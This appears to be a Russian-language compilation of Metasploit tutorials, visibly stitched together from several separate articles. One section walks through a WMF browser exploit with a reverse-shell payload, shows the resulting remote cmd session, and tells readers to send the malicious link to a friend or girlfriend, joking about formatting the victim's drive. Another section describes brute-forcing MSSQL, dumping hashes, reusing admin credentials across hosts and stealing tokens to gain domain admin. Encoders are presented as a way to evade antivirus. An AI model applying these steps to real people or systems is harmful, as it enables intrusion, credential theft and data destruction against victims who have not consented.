Учимся работать с Metasploit framework. Исследование уязвимостей с помощью Metasploit Framework Команды metasploit

Мы написали много статей по взлому с использованием Metasploit , в том числе о том, как не оставлять следов, об изучении внутренней архитектуры сайта, а также массу шпаргалок по командам и скриптам.

Этим руководством мы начинаем объемную серию статей для обучения и использования Metasploit . Эта первая ознакомительная часть, где кратко будут рассмотрены основы Metasploit - одной из самых мощных хакерских платформ на планете Земля.

Происхождение и установка Metasploit

Metasploit - проект с открытым исходным кодом, разработанный хакером HD Moore в 2003 году. Первоначально он был написан на Perl , но в 2007 году полностью переписан на Ruby . В 2009 году был выкуплен Rapid7 , компанией специализирующейся на предоставлении услуг по информационной безопасности, которая также выпустила сканер уязвимостей Nexpose .

Metasploit версии 4.12 уже включен в дистрибутив Kali Linux . Он также встроен в BackTrack . Если вы используете другой дистрибутив Linux или MaxOS , то вам придется скачать его с сайта Rapid7 .

Если вы используете Windows , то вам также придется скачать Metasploit с сайта Rapid7 , но мы не рекомендуем запускать его в Windows . Вы, безусловно, сможете это сделать, однако многие функции, которые мы будем рассматривать в этой статье, просто не будут там работать.

У Metasploit есть несколько версий, в том числе Metasploit Pro (полностью коммерческая версия) и Community Edition (бесплатная). Вот последняя как раз и встроена в Kali . Мы сосредоточимся на Community Edition , поскольку мы думаем, что большинство из вас не будет покупать Pro версию стоимостью в $ 30 000.

Способы использования Metasploit

Metasploit можно использовать несколькими способами. Наиболее распространенный способ, который и мы все время используем - это интерактивная консоль Metasploit . Она активируется путем ввода msfconsole в командной строке Kali . Существует также несколько других методов.

Msfcli

Начнем с того, что вы можете использовать Metasploit из командной строки Kali или в режиме msfcli . На первый взгляд кажется, что когда мы находимся в консоли, мы используем командную строку. В действительности же мы используем интерактивную консоль со специальными ключевыми словами и командами. Когда же мы работаем из msfcli , то фактически используем командную строку Linux.

Чтобы получить информацию обо всех доступных командах msfcli , наберите в консоли:

Kali > msfcli -h

Теперь, чтобы выполнить эксплоит из msfcli наберите команду:

Kali > msfcli payload = rhost = lhost = E

Где «E» - сокращение от «Execute» (выполнить)

В нашей статье по созданию payload (полезных нагрузок) для защиты от антивирусных программ мы используем команду msfencode и msfpayload в режиме командной строки (msfcli ).

Недостатком использования msfcli является то, что он не так хорошо поддерживается как msfconsole , и вы ограничены единственным шелом, что делает некоторые из более сложных эксплойтов невозможными.

Armitage

Если вы хотите использовать Metasploit с графическим интерфейсом (GUI), то здесь есть несколько вариантов. Например, Рафаэль Мадж (Raphael Mudge) разработал Armitage (это имя главного героя в весьма оригинальной научно-фантастической книге о кибер-хакинге «Neuromancer». Ее должен прочитать каждый хакер, которому нравится жанр SciFi ).

Чтобы запустить Armitage в Kali , просто введите:

Kali > armitage

Если Armitage не может соединиться, то попробуйте другие команды:

Kali > service start postgresql kali > service start metasploit kali > service stop metasploit

Armitage - это графический интерфейс поверх самого Metasploit , построенный на архитектуре клиент-сервер. Вы запускаете Metasploit в качестве сервера, и Armitage становится его клиентом, предоставляя вам полный доступ к функциям Metasploit с помощью полнофункционального, хотя и не интуитивно понятного GUI . Если вам действительно нужен GUI , чтобы чувствовать себя комфортно, то, пожалуйста, используйте Armitage . Но овладение командной строкой - практически жизненная необходимость для любого уважающего себя хакера.

Модули

У Metasploit есть шесть разных модулей:

  1. payloads
  2. exploits
  3. post
  4. nops
  5. auxiliary
  6. encoders

Payloads - это код, который мы оставляем на взломанной системе. Некоторые называют их слушателями (listener), руткитами (rootkit) и т.д. В Metasploit они называются payload (полезными нагрузками). Payloads включают утилиты командной строки, Meterpreter и т.д. Payload ‘ы бывают разных типов, например, staged , inline , NoNX (обходит функцию «No Execute» (без выполнения) в некоторых современных процессорах), PassiveX (обходит правила брандмауэра об исходящем трафике), IPv6 и другие.

Exploits - это шелл-код, который использует уязвимость или недостатки в системе. Это очень специфичный код. Например, есть эксплоиты для операционной системы, пакетов обновлений (SP), для конкретных служб, портов и даже для приложений. Их также можно классифицировать по типам операционных систем, поэтому эксплойт Windows не работает в Linux и наоборот.

Post - это модули, которые мы можем использовать для пост эксплуатационных атак системы (т.е. после получения доступа к системе).

Nops - сокращение от No OPerationS. В процессорах семейства x86 обычно указывается как шестнадцатеричный 0x90. Это просто означает «ничего не делать». Это может иметь решающее значение для атак переполнения буфера (buffer overflow). Мы можем посмотреть модули nops с помощью команды show .

Msf > show nops

Auxiliary - включает в себя множество модулей (695), которые не вписываются ни в одну из других категорий. К ним относятся такие вещи, как фьюзеры (fuzzer), сканеры (scanner), модули для DoS-атак (на отказ в обслуживании) и многое другое. За более подробной информацией отсылаю вас к нашей статье об Auxiliary модулях.

Encoders - это модули, которые позволяют по-разному кодировать нашу полезную нагрузку (payloads), чтобы обойти антивирусное ПО и другие системы безопасности. Мы можем увидеть эти кодировщики, набрав:

Msf > show encoders

Как видите, в Metasploit встроено довольно много кодировщиков. Один из наших фаворитов - shikata_ga_nai . Он позволяет использовать payload XOR , что помогает обманывать антивирусные программы и другие системы безопасности.

Поиск

В Metasploit 4 появилась возможность поиска. Раньше приходилось использовать msfcli и команду grep , чтобы найти модули. Теперь Rapid7 добавил поиск по ключевым словам и некоторые другие особенности. Добавление поиска было очень своевременным, поскольку Metasploit значительно разросся, а обычного поиска по запросам grep было уже недостаточно, чтобы найти что-нибудь среди более чем 1400 эксплойтов.

Поиск по ключевым словам позволяет выполнять как простой поиск, так и делать более детализированные поисковые запросы. Например, мы можем определить тип модуля, который нужно найти, используя ключевое слово type:

Msf > search type:exploit

Если мы это сделаем, то Metasploit вернет нам 1295 эксплойтов. Не очень полезно.

Но если мы знаем, что хотим атаковать машину Sun Microsystems под управлением Solaris (Sun UNIX ), то мы можем уточнить наш поиск и искать только эксплоиты для Solaris . В этом случае нам нужно использовать ключевое слово platform .

Msf > search type:exploit platform:solaris

Теперь мы сузили наш поиск до тех немногих эксплойтов, которые будут работать против Solaris .

Для дальнейшего уточнения поиска предположим, что мы хотим атаковать Solaris RPC (sunrpc ) и, соответственно, нам нужно видеть только те эксплоиты, которые атакуют эту конкретную службу. Мы добавляем ключевое слово «sunrpc » в наш поисковый запрос, как показано ниже:

Msf > search type:exploit platform:solaris sunrpc

Как видите, это сузило результаты поисковой выдачи до пяти модулей эксплойтов!

У Metasploit есть много возможностей, которые мы продолжим рассматривать в следующих статьях по Metasploit . Попробуйте пока некоторые из хаков на Metasploit ‘е, описанные в других постах на сайте. Возвращайтесь обязательно! Вы изучите Metasploit и научитесь взламывать, как профессионал!

Отказ от ответственности : Эта статья написана только для образовательных целей. Автор или издатель не публиковали эту статью для вредоносных целей. Если читатели хотели бы воспользоваться информацией для личной выгоды, то автор и издатель не несут ответственность за любой причиненный вред или ущерб.

Многие слышали наверно слова Метасплоит, метафайлы, эксплоит, шелл, уязвимость. Очень много вопросов возникает у пользователей (начинающих скрипткидисов, а так же тестеров сплоитов и уязвимостей) которые с этим так или иначе сталкиваются, вот как раз для них эта статья.

Тут я расскажу Вам что такое проект Metasploit Framework и как им пользоваться. Сразу скажу что статья рассчитана для тех кто задаёт вопросы типа этих:

  1. cd \
    cd %SystemRoot%\system32
    msfconsole: chdir: failed to change directory No such file or directory
    Это как понимать???
  2. или типа этого:
    + — —=[ msfconsole v2.6
  3. msf > ls exploits

    msf >
    А как понимать это???

Основные понятия и термины используемые в статье

Эксплоит: (англ. exploit - использовать) - это общий термин в сообществе компьютерной безопасности для обозначения фрагмента программного кода который, используя возможности предоставляемые ошибкой, отказом или уязвимостью, ведёт к повышению привилегий или отказу в обслуживании компьютерной системы.

Шелл-код: Код оболочки, шелл-код (англ. shellcode) - это двоичный исполняемый код, который обычно передаёт управление консоли, например ‘/bin/sh’ Unix shell, command.com в MS-DOS и cmd.exe в операционных системах Microsoft Windows. Код оболочки может быть использован как полезная нагрузка эксплойта, обеспечивая взломщику доступ к командной оболочке (англ. shell) в компьютерной системе.

Реверс-шелл: При эксплуатации удаленной уязвимости шелл-код может открывать заранее заданный порт TCP уязвимого компьютера, через который будет осуществляться дальнейший доступ к командной оболочке, такой код называется привязывающим к порту (англ. port binding shellcode). Если шелл-код осуществляет подключение к порту компьютера атакующего, что производится с целью обхода брандмауэра или NAT, то такой код называется обратной оболочкой (англ. reverse shell shellcode).

Уязвимость: В компьютерной безопасности, термин уязвимость (англ.vulnerability) используется для обозначения слабо защищённого или открытого места в системе. Уязвимость может быть результатом ошибок программирования или недостатков в дизайне системы. Уязвимость может существовать либо только теоретически, либо иметь известный эксплойт.

Уязвимости часто являются результатом беззаботности программиста, но, также, могут иметь и другие причины. Уязвимость обычно позволяет атакующему обмануть приложение, например,с помощью внедрения данных каким-нибудь незапланированным способом, выполнения команды на системе, на которой выполняется приложение, или путем использования упущения, которое позволяет получить непредусмотренный доступ к памяти для выполнения кода на уровне привилегий программы.

Некоторые уязвимости появляются из-за недостаточной проверки данных, вводимых пользователем; часто это позволяет напрямую выполнить команды SQL (SQL-инъекция). Другие уязвимости появляются из-за более сложных проблем, таких как запись данных в буфер, без проверки его границ, в результате буфер может быть переполнен, что может привести к исполнению произвольного кода.

Cygwi (Цигвин): набор свободных программных инструментов разработанных фирмой Cygnus Solutions, позволяющих превратить Microsoft Windows различных версий в некоторое подобие Unix-системы. Изначально Cygwin задумывался как среда для переноса программ из POSIX-совместимых операционных систем (таких как GNU/Linux, BSD и UNIX) в Windows. Программы, портированные с помощью Cygwin, работают лучше всего в Windows NT, Windows 2000, Windows XP и Windows Server 2003, но в некоторых случаях годятся Windows 95 и Windows 98. В настоящее время проект Cygwin разрабатывается сотрудниками Red Hat и другими программистами. Подобные функциональные возможности предлагает также и Microsoft в своём пакете Services for UNIX, включающем в себя подсистему Interix.

Perl (Перл): Язык программирования. Создатель Ларри Уолл (Larry Wall). Само слово Perl - аббревиатура, которая расшифровывается как Practical Extraction and Report Language (практический язык извлечений и отчётов, отчего сначала язык назывался PEARL, но затем буква «A» «потерялась»). Существует также ряд других вариантов. Согласно самому красивому из них, название perl произошло от слова pearl (жемчужина). Талисманом языка Perl является верблюд - не слишком красивое, но очень выносливое животное, способное выполнять тяжелую работу. Основной особенностью языка считаются его богатые возможности для работы с текстом, реализованные при помощи регулярных выражений.

Что такое Metasploit Framework?

Metasploit Framework (согласно описанию) это законченная среда для написания, тестирования и использования кода эксплойтов. Эта среда обеспечивает надежную платформу для испытаний на проникновение, разработки шелкодов и исследования уязвимостей». Написан на Perl (с некоторыми частями на ассемблере, Python и C) – отсюда нет привязки к какой либо платформе – будет работать в любой системе, где есть интерпретатор Perl`a (с оговоркой, см. дальше). На данный момент, пакет Metasploit Framework функционирует как на Linux так и на Windows, а так же на Мас. Скачать последнюю версию пакета для соответствующей ОС можно здесь: http://www.metasploit.com/
(Среда под Windows базируется на доработанном Cygwin, что удобно, т.к это дает пользователю известную консоль. Однако, были некоторые проблемы с поддержкой Active Perl, поэтому поддерживается только Cygwin Perl.

Установка (для win- пользователей)

Инсталятор для windows содержит всё необходимое (Сygwin, Perl), т.е. пользователям windows дополнительное ПО скачивать не потребуется.
Качаем (доступная версия 2.6 для windows на момент написания статьи).
Сейчас она актуальней (больше сплоитов).

Запускаем инсталятор: framework-2.6.exe

Получаем: в C:\Program Files\Metasploit Framework\
cygwin.bat (41.0B) — запуск cygwin
msfconsole.bat (86.0B) — запуск консоли MSF
msfupdate.bat (85.0B) — запуск обновления пакета
msfweb.bat (82.0B) — запуск WEB-интерфейса пакета
Metasploit Framework.url (51.0B) — линк на сайт разработчиков
uninst.exe (47.6KB) — деинстализация пакета

а также папки bin, etc, home, lib, sbin, tmp, usr, var — хорошо известные поклонникам Unix-систем.

Использование

Пакет Metasploit Framework имеет два варианта работы: msfconsole (консольный) и web- интерфейс msfweb. Мне удобней всегда работать в msfconsole. Это интерфейс командной строки (по типу cmd с минимальным набором команд), имеющий собственное программное окружение и систему команд. Чтоб посмотреть основные команды наберите в консоли help. Для тех у кого туго с английским привожу перевод help`a. Рассмотрим консольный вариант работы пакета.

Metasploit Framework Main Console Help

? ———— Show the main console help (Показать главное окно помощи)
cd ———— Change working directory (Выбрать рабочую директорию)
exit ———- Exit the console (Выход из консоли)
help ——— Show the main console help (Показать главное окно помощи)
info ———- Display detailed exploit or payload information (Вывести на дисплей детальную инфу о эксплоите или начинке)
quit ———- Exit the console (Выход из консоли)
reload ——— Reload exploits and payloads (Перезагрузить эксплоит и начинки)
save ——— Save configuration to disk (Записать конфигурацию на диск)
setg ———- Set a global environment variable (Установить глобальную переменную окружения)
show ——— Show available exploits and payloads (Показать доступные эксплоиты и начинки)
unsetg ——- Remove a global environment variable (Удалить глобальную переменную окружения)
use ———— Select an exploit by name (Выбрать эксплоит по имени для использования)
version ——- Show console version (Показать версию консоли)
—-нет в help`е——
ls ————- List the current directory (Показать файлы в текущей директории)
exploit ——— Run exploit (Запуск эксплоита)
msf >

М…да, скажете вы help бедноват и команд мало. Ну ничего, сами догоним что к чему.
cd [имя_директории]- стандартная команда (как и в cmd, так и в древнем дос — делает то же самое и здесь, с ней всё ясно, для тех кто в танке наберите help cd в консоли cmd)
Конечно всем не терпится использовать команду use [имя эксплоита], а затем установить переменную PAYLOAD какой либо вкусной начинкой, но всё по порядку, начнём!

Распрастранённые ошибки 90% новичков

1. Ошибка

  • Первая команда юзера после загрузки консоли ls exploits
    В этом случае их постигает такой облом:
  • msf > ls exploits
    ls: exploits: No such file or directory
    msf >
  • И все разом говорят у меня нет эксплоитов!
    А надо сделать всего лишь команду ls без параметров, чтоб посмотреть где мы находимся.
  • msf > ls
    framework perl.exe.stackdump run_msfupdate userguide.pdf
    framework.tar run_msfconsole run_msfweb
    msf >
  • Вот теперь мы видим, что папки с эксплоитами тут нет, так как она, скорее всего, находится внутри папки framework.
    В чём проблема, переходим в папку framework и посмотрим там:
  • msf > cd framework
    msfconsole: chdir: changed to directory framework
    msf >
  • Прекрасно! Теперь глянем что тут внутри скомандовав ls:
  • msf > ls
    data exploits msfcli msfencode msfpescan nops src
    docs extras msfconsole msflogdump msfupdate payloads tools
    encoders lib msfelfscan msfpayload msfweb sdk
    msf >
  • О! Сколько тут всего! И эксплоиты и начинки и доки. Вот теперь можно командовать ls exploits
  • msf > ls exploits
    3com_3cdaemon_ftp_overflow.pm mozilla_compareto.pm
    Credits.pm ms05_039_pnp.pm
    ————-много других эксплоитов——————-
    mercantec_softcart.pm wsftp_server_503_mkd.pm
    mercur_imap_select_overflow.pm wzdftpd_site.pm
    mercury_imap.pm ypops_smtp.pm
    minishare_get_overflow.pm zenworks_desktop_agent.pm
    msf >
  • Во! Сколько сплоитов! (А говорили нет эксплоитов. оказывается всё со сплоитами в порядке — они есть)

2 Ошибка

  • Команда use [имя_экплоита.pm]
  • msf > use ie_xp_pfv_metafile.pm
    msfconsole: use: please specify a valid exploit name
    msf >
  • Расширение эксплоита pm — указывать не надо, только имя сплоита!
  • msf > use ie_xp_pfv_metafile
    msf ie_xp_pfv_metafile >

3 Ошибка

  • После удачного выбора нужного сплоита сразу выбирают начинку (забывая про параметры)
  • msf > use ie_xp_pfv_metafile
    msf ie_xp_pfv_metafile > set PAYLOAD win32_reverse
    PAYLOAD -> win32_reverse
    msf ie_xp_pfv_metafile(win32_reverse) > exploit
    Error: Missing required option: LHOST
    msf ie_xp_pfv_metafile(win32_reverse) >
  • Облом! Это что ещё? Перевожу отсутствует (не задана) рекомендованная опция (параметр) LHOST
    Вообщем перед тем как начинять сплоит, я советую задать (установить) все необходимые параметры с помощью команды set.
    У каждого сплоита их может быть разное количество (зависит от конкретной уязвимости)
    Ну и что делать, как узнать какие параметры у какого сплоита? Ответ уже был выше! в help`e! Командуем: info [имя_сплоита], например узнаем всё про wmf-сплоит (ie_xp_pfv_metafile)
  • msf > info ie_xp_pfv_metafile
    Name: Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Executi
    Class: remote
    Version: $Revision: 1.18 $
    Target OS: win32, winxp, win2003
    Keywords: wmf
    Privileged: No
    Disclosure: Dec 27 2005
  • Provided By:
    H D Moore san
    O600KO78RUSunknown.ru
  • Available Targets:
    Automatic — Windows XP / Windows 2003 / Windows Vista
  • Available Options:
  • Exploit: Name Default Description
    ——— ——— ——- —————————————
    optional REALHOST External address to use for redirects
    T)
    optional HTTPHOST 0.0.0.0 The local HTTP listener host
    required HTTPPORT 8080 The local HTTP listener port
  • ……….пропущено………….
    msf >
  • Вот вам вся и подробная инфа о сплоите, нас интересует optional
    Для ленивых:
    HTTPHOST (LHOST) — Локальный IP адрес сервера на котором повиснет сплоит (адрес твоего компа)
    HTTPORT (LPORT) — его порт (8080 — по умолчанию)
    REALHOST (RHOST) — внешний адрес для редиректа (WAN — адрес если твой комп находится за NAT)

4. Ошибка

5. Ошибка

  • >msf ie_xp_pfv_metafile(win32_reverse) > exploit
    msf >Could not start listener: Operation not permitted
    Что делать? — освободить порт (уже занят чем то, буквально — не могу запустить слушатель:операция не разрешена) или использовать другой, например set LPORT 8081

6 Ошибка

  • Client connected from ххх.ххх.ххх.ххх:1879…
    Undefined subroutine &Pex::Utils::JSUnescape called at /home/framework/exploits/
    ie_vml_rectfill.pm line 156.
    Exiting Reverse Handler.
    msf ie_vml_rectfill(win32_reverse) >
    Это ещё что? Неопределённая подпрограмма и … ну вообщем скорее всего вы скачали свежий сплоит и засунули в старую версию пакета, вообщем работать не будет. Cплоиты которые вышли после пакета в большинстве своём будут работать только на свежей версии, на данный момент 2.7 (как раз касается свежего сплоита ie_vml_rectfill.pm. Так что или обновляйте пакет, либо качайте последний…

Пример
(практическое использование)

  • Эксплоит: ie_xp_pfv_metafile, начинка win32_reverse
  • msf > use ie_xp_pfv_metafile
    msf ie_xp_pfv_metafile > set LHOST 10.0.0.1
    LHOST -> 10.0.0.1

Вообщем разобрались задали всё необходимое для сплоита, теперь можно переходить к начинке:
командуем set PAYLOAD [имя_начинки],

  • msf ie_xp_pfv_metafile > set PAYLOAD win32_reverse
    PAYLOAD -> win32_reverse
    msf ie_xp_pfv_metafile(win32_reverse) >msf ie_xp_pfv_metafile(win32_reverse) > exploit

[*] Starting Reverse Handler.

Готово! Консоль говорит, что жду соединений к http://10.0.0.1:8080/
Впариваем ссылку другу (или подружке) например через асю..

Маша, смотри какой прикол: http://10.0.0.1:8080/ (прим. вообще-то тут должен быть внешний ip)

[*] HTTP Client connected from 10.0.0.2:1116, redirecting… — клиент соединился, его IP 10.0.0.2:1116, редирект

[*] HTTP Client connected from 10.0.0.2:1117, sending 1604 bytes of payload… — отправлено 1604 байт начинки (реверс-шелл тут)

[*] Got connection from 10.0.0.1:4321 10.0.0.2:1118 — установлено соединение (пайп с cmd удалённого компа)

  • Microsoft Windows XP [‘?абЁп 5.1.2600]
    (‘) ?RаЇRа жЁп? cЄаRбRдв, 1985-2001.
    <>

О блин!, Это ещё что, скажете Вы — это командная строка удалённого компа того юзверя!
А что за абракадабра? — Это не та кодовая страница выбрана (у него русская винда стоит!) Сейчас проверим! chcp

  • C:\Documents and Settings\?¤¬Ё-Ёбва вRа\? ЎRзЁc бвR<>chcp
    chcp
    ‘?Єгй п ЄR¤Rў п бва -Ёж: 866
    <>

Точно это 866, поставим 1251 (виндовую, а не до с)

  • C:\Documents and Settings\?¤¬Ё-Ёбва вRа\? ЎRзЁc бвR<>chcp 1251
    chcp 1251
    ‘?Єгй п ЄR¤Rў п бва -Ёж: 1251
    C:\Documents and Settings\Администратор\Рабочий стол>

О! Теперь всё по русски! Что делать в cmd чужого компа зависит от вашей фантазии, список команд смотрите в help по консольным командам windows. (format c: — жесть!)
Был разобран конкретный пример использования WMF-Эксплоита с начинкой реверс-шелла, ваши варианты могут быть другими.

может быть ВНЕЗАПНО использован в качестве инструмента для тестирования на проникновение (аудита безопасности IT-инфраструктуры), состоит из множества утилит, образующих платформу для реализации широкого спектра атак. Покажу пару примеров Metasploit, которые могут быть использованы в качестве алгоритма пентеста. При этом буду пользоваться только метасплойтом, чтоб показать его мощь и гибкость. Как платформа для атак использую Backtrack 5 R2, на которую установлен сам метасплойт. Так же очень важно отметить, что там же работает СУБД postgresql, котоая принимает подключения. Сеть для тестирования сценариев - 192.168.3.0/24.
Приступаем;)

1. Открываем msfconsole, проверяем статус базы данных.

хорошо, поговорим о воркспейсах (workspaces), которые испоьзуются в метасплойте как логические единицы информации. Можно иметь разные воркспейсы для разных пентестов или разные местоположения (location) для пентеста. Таким образом, легко ипортировать\экспортировать данные между разными воркспейсами.

В одном воркспейсе хранится несколько таблиц данных, например hosts, services, vulns, loot и notes.
В эти таблицы можно добавлять информацию вручную, например, добавим хост в таблицу.


Так же можно добавить сервис в таблицу сервисов.


Для заполнения этих таблиц автоматизированно, можно использовать db_nmap. Так же можно использовать какую-то любую (твою любимую, например) утилиту для сканирования, экспортировать результаты её работы в XML-файл, а потом - импортировать его в метасплойт. Это можно сделать, использовав db_import внутри меню метасплойт (перечень форматов отчётов, которые понимает метасплойт - ниже).


Посканируем nmap.

Посмотрим, какие хосты содержатся в таблице hosts после этого.


В таблице сервисов можно отфильтровать только нужные нам столбцы.

Поскольку мы видим слишком много виндовс-машинок, используем модуль auxiliary, который сканирует версию smb.


Выбрать один из хостов надо командой set. Но мы сделаем хосты один за другим, что удобно делать с помощью базы. Мы добавим хосты из базы сервисов с портом 445 в файл.


После сканирования посмотрим в таблицу сервисов.

Имеем хосты с Windows 2003, один хост с Windows 2003 сервис паком 1. Видим имена хостов и имя домена - "TEST".
Остальная информация (я предполагаю что это так, исходя из имён хостов):
TEST-EMEA-DC-01 - контроллер домена
TEST-EMEA-DB-01 - сервер баз данных

Хорошо, поработаем с потенциальным сервером БД.

Предположил, что там установлена СУБД MSSQL (т.к. винда же..), но мускуль обічно работает на порту 1433, которій отсуствует в списке. "Выстрелю вслепую" и попробую запустить тест для СУБД MSSQL.


Похоже, вышло.

Хорошо. Создам инстанс mssql. Запуск на порту 1043, SQLEXPRESS. Он имеет версию 9.00.4035.00, билд которой соответствует Microsoft SQL 2005 SP3. Глянем таблицу сервисов, что изменилось там?

Добавилось: порт 1043 как mssql и UDP-порт 1433. Это порт, который реально используется mssql.
Теперь мызнаем, что сервис баз данных работает на этом порту и можем организовать брутфорс-атаку, используя всё тот же метасплойт.

Укажем верный номер удалённого порта (СУБД слушает нас на 1043 порту), имя пользователя и пароль.

Запустим и успешно найдём пароль.

Окей. Есть пароль и это наш парвый credential. В таблице creds увидим его.


Время создать эксплойт.


Знаем имя пользователя, пароль и порт.


Получаем шелл meterpreter.

Отложим эту сессию. Обратимся к списку сессий, увидим там 1 сессию.


Далее покажу как использовать некоторые модули, которые полезны после эксплуатации системы.

Используя smart _hashdump, можно проверить хеши. Устанавливаю параметры SESSIONS и GETSYSTEM.

Запускаю.


Имеем обновления в таблице loot.
Я получил привилегии SYSTEM и 2 хеша. Кажется, что это действующий аккаунт администратора (у учётки “localadmin” RID всегда 500).

Глянем в таблицу loot.

В таблице 3 вкусняшки.

Проверю, используется ли этот пароль админа в других системах. Всё, что мне для этого надо, у меня есть.

Добавлю список хостов из таблицы services (мы сохранили его раньше).


Ломать хеш не будем (а зачем?), просто посмотрим. Установим параметры BLANK_PASSWORDS и USER_AS_PASS в значение "ложь".

Увидим много успешных входов после запуска. Вывод - админ имеет один пароль на несколько машин в сети.

Нашлись ещё несколько креденшелов.


я получил локальные пароли к уязвимым виндовс-системам. Можо использовать эксплойт
psexec, но придётся перебирать все хосты один за другим вручную, а это не удобно.
В эксплойтах обычно надо задать параметр - RHOST, а не RHOSTS и поэтому нельзя задать список хостов для поиска уязвимостей.
Покажу как можно автоматизировать этот процесс с помощью скриптов.

Из разных источников в Интернете слепил этот скрипт. Его можно легко изменить и добавиь функционала.

Сейчас я запустил psexec.
Но я не могу запускать этот скрипт, т.к. тут используется полезная нагрузка (payload) windows/meterpreter/reverse_tcp
с которой возникает проблема - слушающий порт не может быть одинаков. Поэтому использую payload windows/meterpreter/bind_tcp.

Запущу свой скриптик.

Наблюдаем 9 сессий и аккаунт localadmin"а.

Поищем ещё хеши, теперь делаем это традиционно вручную, взаимодействуя с каждой сессией и дампя хеши.
Альтернативно можно испоьзовать модуль credential collector. Этот модуль даст нам хеши и (что важно!) задействует incognito и look для токенов доменов. К сожалению, модуль требует запускать себя вручную шаг за шагом для каждой сессии, если конечно нет соответствующего файла, где они хранятся...


Запускаю сбор хешей и токенов.

Сессии 5 и 6 кажется имеют интересные токены доменов.

Попытка украсть домен и вуаля - мы имеем доступ уровня админа домена.

Пример показал некоторые возможности Metasploit и компонентов этой платформы.
PS: Удачи в ненарушении КПК (!#)

Что такое метасплойт?

Метасплойт (а правильно говорить о метасплойте как о проекте) – это именно проект в области компьютерной безопасности, направленный на информирование пользователей (в первую очередь владельцев, разработчиков и администраторов) сетей и ресурсов о возможных уязвимостях в системе безопасности и помогающий в тестировании систем и сетей с целью закрытия в дальнейшем дыр в их безопасности и защиты от . Для разработки метасплойтов существует специальная среда под названием Metasploit Framework . Последняя вылилась в своеобразный подпроект, представляющий собой программную среду или платформу для разработки и использования эксплойтов на удалённой машине. Вопрос использования платформы и применения проекта в целом достаточно скользкий, так как среда, призванная к проведению исследовательской деятельности системных администраторов сети в области защищённости сетей с успехом используется хакерами для разработки и внедрения новейших эксплойтов для получения неавторизованного доступа к ресурсам.

Metasploit Framework с момента изобретения в 2003 претерпела некоторые изменения, и до нас дошла со свободно распространяемой лицензией в бесплатном и коммерческом вариантах. В оба варианта включено множество готовых эксплойтов, которые помогут справиться с обнаружением известных уязвимостей. Отлично запускается на Unix и Windows системах, имеет несколько интерфейсов на выбор пользователя, в том числе в виде окна браузера.

Как пользоваться Metasploit Framework, или что умеет метасплойт? Основные шаги в использовании среды.

Перед работой в среде, конечно, необходимо собрать максимум информации о компьютере, так что необходимо пользоваться полным набором сетевых и , так что над выбором эксплойта и пэйлоуда придётся потрудиться.

Где скачать Metasploit Framework?

Да вот здесь:

https://www.metasploit.com/download/

Но не торопитесь. Также платформа входит в состав некоторых свободно распространяемых сборок систем на бесплатной и свободной лицензии. С такой мы и будем знакомиться на странице блога в разделе Линукс. В состав принимающей участие во множестве экспериментов эта среда входит совершенно бесплатно.

Знакомство с понятием ШЕЛЛ.

В зависимости от типа эксплойта, после того как экплойт претвориться в жизнь, мы будем иметь дело либо с удалённым шеллом (Remote shell ) и метр-шеллом (Meterpreter shell ).

Удалённый шелл компьютерная программа из командной строки (терминала), которая может исполнять команды на удалённом компьютере, словно бы вы находились за его клавиатурой. Это своеобразный удалённый Рабочий стол (так он называется в Windows). Стандартный шелл применяется в случаях, если хакер собирается исполнять на компьютере жертвы стандартные команды. Однако если речь идёт о комплексных манипуляциях в текущей сессии и исполнении команд с дополнительными флагами, будет использован шелл Метерпретер.

С метр-шеллом немного интереснее. Meterpreter shell предлагает уже целую кучу готовых программных решений. В их числе утилиты и скрипты для сбора информации по удалённому компьютеру, инструменты контроля над устройствами типа микрофон или вебкамера и т.п. И с развитием техник взлома интерес к готовым решениям, которые только разрастаются и совершенствуются, всё больше. А теперь об описанных выше шагах чуть подробнее.

Поиск и конфигурация эксплойта

Подразумеваю, что вы уже в Кали. Запускаем Метасплойт и даём команду на отображение известных эксплойтов. Это команда

Терминал вернёт информацию по эксплойтам в алфавитном порядке. Это не всегда удобно, потому поиск можно уточнить флагами на поиск по:

  • словарю Общих уязвимостей и незакрытых дыр в безопасности (CVE ID ). Можно сразу указать желаемый год:
search cve:2017

  • бюллетеню безопасности Майкрософт
search MS
  • прямо по желаемой программе или производителю ПО или устройства
search Netgear

  • и, выцепив интересненькое, получить по этому поводу всю об уязвимости информацию, добавив перед уязвимостью info (ссылки на ещё более подробную инфу по этому вопросу будут в том же терминале). Взгляните:

Там всё есть и ждёт вашего анализа и применения. Но перед тем, как перейти в конфигурации эксплойта, возьмём уязвимость в оборот командой use

Или, вернувшись к одному из предыдущих окон, обнаружить к оборудованию подходящий эксплойт и также его применить:

и сразу проверим, как его применять и к чему привязать, используя знакомый нам флаг info в контексте эксплойта:


Конфигурация эксплойта: установка опций

Направить метасплойт в нужное русло нам поможет команда set . Команда в msf примет вид

Set имя_переменной её_значение

Но чтобы узнать, какие переменные для эксплойта существуют, можно использовать команду show options

Раздел Module options , знакомый нам по окну команды с флагом info , показывает, какую конфигурацию можно применить в плане выбора цели. Так, модуль сразу указывает на то, что эсплойт применяется против уязвимости с применением этих ОБЯЗАТЕЛЬНЫХ опций (готовые к работе выделены флагом yes , те, что на no вами ещё не настроены). То есть для осуществления эксплойта пентестер указал:

  • адрес удалённой системы (RHOST )
  • удалённый порт 8080 (RPORT )
  • в качестве индетификатора цели (TARGETURI ) – путь к приложению в системе или путь к оборудованию жертвы (например, если атакуется роутер, здесь указывается полный путь в виде адреса к уязвимому файлу)

Завершим картинку в общих чертах. Запуск эксплойта в нашем случае примет примерно такой вид:

Exploit(netgear_nms_rce) use msf exploit(netgear_nms_rce) set RHOST 10.10.10.10 set RPORT 8080 set TARGETURI exploit -j

На ус команды, описанные выше, мотать не нужно. Более подробнее информация будет дана позже.

Выбор и формирование пэйлоуда

Зачем нам доступ к чужому компьютеру, если мы ничего там не натворим? И для этой цели понадобится пэйлоуд. Применимо к теме метасплойта, пэйлоуд – именно та часть зловредного программного обеспечения, направленного на изменение функционала системы. В то время, как другая часть программы-вредоноса может быть направлена на дополнительные функции (например, копирование и тиражирование самого себя; речь идёт о компьютерном вирусе). Как понимаете, пэйлуд можно вычленять в отдельный код и использовать в разных вариантах.

Работая в среде Metasploit, можно посмотреть на готовые варианты пэйлоудов применимо к выбранным эксплойтам. Это делается командой

Show payloads

в выбранном вами варианте эксплойта. Ещё вариант – в выбранном эксплойте пишем

Set payload

